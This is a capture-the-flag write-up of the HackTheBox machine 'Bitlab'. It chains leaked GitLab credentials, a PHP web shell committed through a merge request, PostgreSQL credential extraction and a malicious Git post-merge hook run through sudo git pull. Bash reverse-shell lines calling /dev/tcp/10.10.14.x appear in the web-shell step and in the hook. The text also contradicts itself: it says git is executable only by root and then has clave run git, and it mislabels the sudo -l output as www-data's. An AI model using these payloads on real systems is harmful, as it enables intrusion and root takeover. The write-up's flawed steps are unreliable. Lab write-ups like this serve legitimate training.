HTB: Bitlab Writeup

Bitlab - HackTheBox Writeup

Machine Information

AttributeDetails
NameBitlab
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.43.163
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Bitlab is a medium-difficulty Linux machine running GitLab Community Edition 11.6.0 behind Nginx. The initial foothold involves discovering obfuscated credentials in a JavaScript bookmark, leveraging developer access to exploit GitLab webhooks and Git hooks for code execution. Lateral movement requires extracting PostgreSQL credentials and querying the database for user credentials stored in an unusual base64 format. Privilege escalation exploits a NOPASSWD sudo rule for git pull, complicated by restrictive permissions and systemd’s PrivateTmp isolation, requiring careful repository staging to trigger malicious Git hooks as root.

TL;DR: Obfuscated JS bookmark → GitLab login (clave / 11des0081x) → Developer access + webhook exploitation → PHP webshell → PostgreSQL credential extraction → SSH as clave → Staged Git repository with malicious post-merge hook → sudo git pull → root shell.


Reconnaissance

Port Scanning

Terminal window
# Initial TCP SYN scan
nmap -sC -sV -T4 -p- 10.129.43.163

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http nginx

The target exposed SSH and an Nginx web server on standard ports.

Service Enumeration

HTTP - Port 80

Browsing to http://10.129.43.163/ revealed a GitLab Community Edition login page. The Nginx server was acting as a reverse proxy for the GitLab instance.

Directory Enumeration:

Terminal window
# Manual browsing revealed accessible directories
curl -s http://10.129.43.163/robots.txt

The robots.txt file contained standard GitLab disallow entries. Exploring the /help/ directory revealed a directory listing with a file named bookmarks.html.

Critical Discovery - /help/bookmarks.html:

The HTML file contained a bookmark link named “GitLab Login” with obfuscated JavaScript in the href attribute:

javascript:(function() {
var _0x4b18 = ["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65",
"\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64",
"\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];
})()

Deobfuscation:

The hex-encoded array decoded to:

  • _0x4b18[0] = “value”
  • _0x4b18[1] = “user_login”
  • _0x4b18[2] = “getElementById”
  • _0x4b18[3] = “clave”
  • _0x4b18[4] = “user_password”
  • _0x4b18[5] = “11des0081x”

This JavaScript auto-fills the GitLab login form with credentials clave / 11des0081x.

Vulnerability Assessment

  1. Information Disclosure - Credentials exposed in publicly accessible HTML file
  2. GitLab CE 11.6.0 - Potential for repository manipulation via developer access
  3. Webhook/Git Hook Abuse - Developer access allows code deployment through merge requests

Initial Foothold

GitLab Authentication

Using the discovered credentials to log into GitLab at http://10.129.43.163/:

Username: clave
Password: 11des0081x

The account had Developer permissions on two repositories owned by the Administrator user:

  • root/profile - Contains the public profile page
  • root/deployer - Webhook automation script

Repository Analysis

Snippet #1 - PostgreSQL Credentials

GitLab Snippets revealed PostgreSQL connection details:

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
?>

Repository: root/deployer

The deployer repository contained index.php implementing a webhook that executes sudo git pull in /var/www/html/profile when a merge request is completed:

<?php
// Simplified webhook logic
if (isset($_POST['object_kind']) && $_POST['object_kind'] == 'merge_request') {
chdir('/var/www/html/profile');
exec('sudo git pull');
}
?>

Key Insight: This webhook means any merge to the master branch in root/profile triggers an automatic deployment with elevated privileges.

Repository: root/profile

Contains index.php serving the profile page at http://10.129.43.163/profile/. As a Developer, user clave can:

  • Create branches
  • Commit files
  • Open and merge pull requests

Exploitation - Web Shell Deployment

The challenge was to deploy a PHP web shell via GitLab’s web interface. Standard tools like curl failed due to GitLab’s non-standard cookie format (date strings instead of epoch timestamps), requiring a custom Python session handler.

Step 1: Prepare the PHP Web Shell

<?php
// shell.php - Simple web shell
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>

Step 2: GitLab Web UI Workflow via Python

Due to GitLab’s cookie handling quirks, I used Python requests with manual session cookie tracking:

#!/usr/bin/env python3
import requests
# Establish authenticated session
s = requests.Session()
login_url = "http://10.129.43.163/users/sign_in"
# Get CSRF token from login page
r = s.get(login_url)
# Extract authenticity_token from HTML (parsing omitted for brevity)
# Authenticate
login_data = {
'user[login]': 'clave',
'user[password]': '11des0081x',
'authenticity_token': token # extracted from page
}
s.post(login_url, data=login_data)
# Manually track _gitlab_session cookie
# GitLab uses date-formatted cookies that broke standard cookie handling
session_cookie = s.cookies.get('_gitlab_session')

Step 3: Create Branch and Commit Shell

Using the authenticated session:

  1. Created a new branch shell-deploy in root/profile
  2. Committed shell.php with the webshell content to the new branch
  3. Opened Merge Request #7 targeting master
  4. Merged the request via the web UI

Step 4: Trigger Deployment

The merge automatically triggered the deployer webhook, which executed:

Terminal window
cd /var/www/html/profile
sudo git pull # Merges shell-deploy into master

Step 5: Achieve RCE

Terminal window
# Web shell accessible at deployed location
curl "http://10.129.43.163/profile/shell.php?cmd=id"

Output confirmed www-data execution:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse Shell:

Terminal window
# Listener
nc -lvnp 4444
# Trigger via web shell
curl "http://10.129.43.163/profile/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.x/4444+0>%261'"

Shell received as www-data.


Lateral Movement - www-data to clave

PostgreSQL Database Enumeration

The snippet revealed PostgreSQL credentials. Since psql client wasn’t available in the Docker container, I used PHP to query the database:

Create query script pg.php:

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
print_r(pg_fetch_all($result));
?>

Execute:

Terminal window
# As www-data
php /tmp/pg.php

Output:

Array
(
[0] => Array
(
[id] => 1
[username] => clave
[password] => c3NoLXN0cjBuZy1wQHNz==
)
)

Password Analysis

The password appeared to be base64-encoded:

Terminal window
echo "c3NoLXN0cjBuZy1wQHNz==" | base64 -d
# Output: ssh-str0ng-p@ss

Critical Discovery: Despite appearing to decode to ssh-str0ng-p@ss, SSH authentication required the raw base64 string as the password, not the decoded value.

SSH Access

Terminal window
# Use the base64 string AS-IS
ssh clave@10.129.43.163
Password: c3NoLXN0cjBuZy1wQHNz==

Successfully authenticated as clave.

User Flag:

Terminal window
cat /home/clave/user.txt
<redacted>

Privilege Escalation - clave to root

Sudo Privileges Enumeration

Terminal window
sudo -l

Output:

User www-data may run the following commands on bitlab:
(root) NOPASSWD: /usr/bin/git pull

Key Constraint: The git binary had restrictive permissions:

Terminal window
ls -la /usr/bin/git
-rwx------ 1 root root 2301128 /usr/bin/git

Only root could execute git, meaning I couldn’t run git init or create a repository as www-data.

Exploitation Strategy - Git Hooks

Git supports local hooks in .git/hooks/ that execute scripts on specific actions. A post-merge hook runs after a successful git pull merge. The plan:

  1. Build a malicious Git repository with a post-merge hook on my jump box
  2. Stage it in a location accessible to both clave (for setup) and www-data (for execution)
  3. Execute sudo git pull as www-data to trigger the hook with root privileges

Environment Considerations

PrivateTmp Isolation:

Terminal window
# Check php-fpm service configuration
cat /usr/lib/systemd/system/php7.2-fpm.service | grep PrivateTmp
PrivateTmp=yes

This systemd directive meant www-data running under php-fpm had an isolated /tmp and /dev/shm, invisible to other users. Solutions:

  • /home/clave/ - Accessible to both users
  • Any non-private filesystem location

Building the Malicious Repository

On the jump box:

Terminal window
# Create repository structure
mkdir exploit-repo
cd exploit-repo
git init
echo "Initial commit" > README.md
git add README.md
git commit -m "Initial commit"
# Create malicious post-merge hook
mkdir -p .git/hooks
cat << 'EOF' > .git/hooks/post-merge
#!/bin/bash
# Reverse shell to attacker
bash -i >& /dev/tcp/10.10.14.x/5555 0>&1
EOF
chmod +x .git/hooks/post-merge
# Create a change to pull
echo "Trigger" >> README.md
git add README.md
git commit -m "Trigger merge"

Transfer to target:

Terminal window
# On jump box - tar the entire repo including .git
tar czf exploit.tar.gz exploit-repo/
# Transfer via SCP (as clave)
scp exploit.tar.gz clave@10.129.43.163:/home/clave/x2.tar.gz

On target as clave:

Terminal window
# Extract in a shared location
cd /home/clave
tar xzf x2.tar.gz
mv exploit-repo x2
cd x2
# Reset to first commit to enable pulling the second
git reset --hard HEAD~1

Why this works: The repository now has:

  1. A staged post-merge hook (executable)
  2. A remote commit available to pull
  3. Location (/home/clave/x2) accessible to both users

Triggering the Hook

Setup listener:

Terminal window
# On jump box
nc -lvnp 5555

Execute as www-data:

Terminal window
# Switch to www-data context (from web shell or existing www-data shell)
cd /home/clave/x2
sudo /usr/bin/git pull

What happens:

  1. sudo runs git pull as root
  2. Git detects a merge (pulling the second commit)
  3. Git executes .git/hooks/post-merge as root
  4. The hook spawns a reverse shell with root privileges

Root shell received:

Terminal window
# On listener
listening on [any] 5555 ...
connect to [10.10.14.x] from (UNKNOWN) [10.129.43.163] 52844
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
root@bitlab:~#

Root Flag:

Terminal window
cat /root/root.txt
<redacted>

Attack Chain Summary

/help/bookmarks.html (obfuscated JS) → clave:11des0081x credentials → GitLab Developer access →
Merge Request with shell.php → Webhook deploys to /var/www/html/profile → RCE as www-data →
PostgreSQL query via PHP → clave password (base64 raw) → SSH as clave (user.txt) →
Staged Git repo in /home/clave/x2 → sudo git pull triggers post-merge hook → Root shell (root.txt)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests and web enumeration
python3 requestsGitLab session handling with custom cookie tracking
phpPostgreSQL database querying
gitRepository creation and hook exploitation
ncReverse shell listener
sshLateral movement to user account
tarRepository packaging and transfer

Key Learnings

Techniques Practiced

  • Deobfuscating hex-encoded JavaScript to extract credentials
  • Exploiting GitLab webhooks and merge request workflows for code deployment
  • Bypassing cookie handling issues with custom session management
  • PostgreSQL enumeration via PHP when native clients are unavailable
  • Recognizing non-standard credential formats (base64 used raw, not decoded)
  • Leveraging Git hooks (post-merge) for privilege escalation
  • Navigating systemd PrivateTmp isolation constraints
  • Staging exploits in shared filesystem locations for cross-user access
  • Chaining NOPASSWD sudo rules with restrictive binary permissions

Lessons Learned

  1. Always test credentials in multiple formats - The base64 password worked raw, not decoded, highlighting the importance of trying both representations when authentication fails.

  2. Web application cookie quirks matter - GitLab’s date-formatted session cookies broke standard HTTP libraries, requiring manual cookie tracking to automate API interactions.

  3. Git hooks are powerful post-exploitation primitives - Combined with sudo rules for git pull, they provide a clean path to privilege escalation without compiling exploits.

  4. Understand systemd service isolation - PrivateTmp=yes creates isolated temporary directories; exploit staging must account for shared vs. private filesystem locations.

  5. Developer access in CI/CD environments is critical - Even limited permissions (not admin) can lead to code execution when deployment automation exists, making source control systems high-value targets.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew explanatory context from the official HackTheBox documentation and community writeups for Bitlab, particularly regarding GitLab webhook mechanics, Git hook functionality, and systemd PrivateTmp behavior.